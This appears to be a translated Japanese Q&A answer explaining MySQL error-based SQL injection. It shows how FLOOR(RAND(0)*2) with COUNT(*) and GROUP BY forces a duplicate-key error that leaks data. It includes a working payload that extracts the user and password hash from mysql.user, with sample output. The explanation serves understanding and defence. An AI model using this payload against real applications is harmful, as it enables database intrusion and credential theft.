攻撃が実際に行うこと
この攻撃には、他の回答者が見落としている微妙だが巧妙な詳細があります。エラー メッセージに注意してくださいDuplicate entry ':sjw:1:ukt:1' for key 'group_key'
。文字列:sjw:1:ukt:1
は、実際には MySQL サーバーによって評価された式の結果です。アプリケーションが MySQL エラー文字列をブラウザに送り返す場合、エラー メッセージによってデータベースからデータが漏洩する可能性があります。
この種の攻撃は、クエリの結果がブラウザーに返されない場合 (ブラインド SQL インジェクション) や、従来の UNION SELECT 攻撃の実行が複雑な場合に使用されます。INSERT/UPDATE/DELETE クエリでも機能します。
Hawili が指摘しているように、元の特定のクエリは情報を漏らすことは想定されておらず、アプリケーションがこの種のインジェクションに対して脆弱であるかどうかを確認するための単なるテストでした。
MvG が提案したように攻撃は失敗しませんでした。このエラーの原因はクエリの目的です。
これがどのように使用されるかのより良い例:
> SELECT COUNT(*),CONCAT((SELECT CONCAT(user,password) FROM mysql.user LIMIT 1),
> 0x20, FLOOR(RAND(0)*2)) x
> FROM information_schema.tables GROUP BY x;
ERROR 1062 (23000): Duplicate entry 'root*309B17546BD34849D627A4DE183D3E35CD939E68 1' for key 'group_key'
エラーが発生する理由
クエリが MySQL でこのエラーを引き起こす理由は、私にとってやや謎です。GROUP BY は重複したエントリを集約して処理することになっているため、MySQL のバグのようです。Hawili のクエリの単純化は、実際にはエラーの原因ではありません!
この式FLOOR(RAND(0)*2)
は、ランダム シード引数 0 に基づいて、次の結果を順番に返します。
> SELECT FLOOR(RAND(0)*2)x FROM information_schema.tables;
+---+
| x |
+---+
| 0 |
| 1 |
| 1 | <-- error happens here
| 0 |
| 1 |
| 1 |
...
3 番目の値は 2 番目の値と重複しているため、このエラーがスローされます。3 行以上の任意の FROM テーブルを使用できますが、information_schema.tables が一般的です。MySQL でエラーを発生させるには、COUNT(*) および GROUP BY 部分が必要です。
> SELECT COUNT(*),FLOOR(RAND(0)*2)x FROM information_schema.tables GROUP BY x;
ERROR 1062 (23000): Duplicate entry '1' for key 'group_key'
このエラーは、PostgreSQL に相当するクエリでは発生しません。
# SELECT SETSEED(0);
# SELECT COUNT(*),FLOOR(RANDOM()*2)x FROM information_schema.tables GROUP BY x;
count | x
-------+---
83 | 0
90 | 1
(1年遅れて申し訳ありませんが、今日これに出くわしました。MySQLからのエラーメッセージを介してデータをリークする方法があることに気付いていなかったので、この質問は興味深いものです)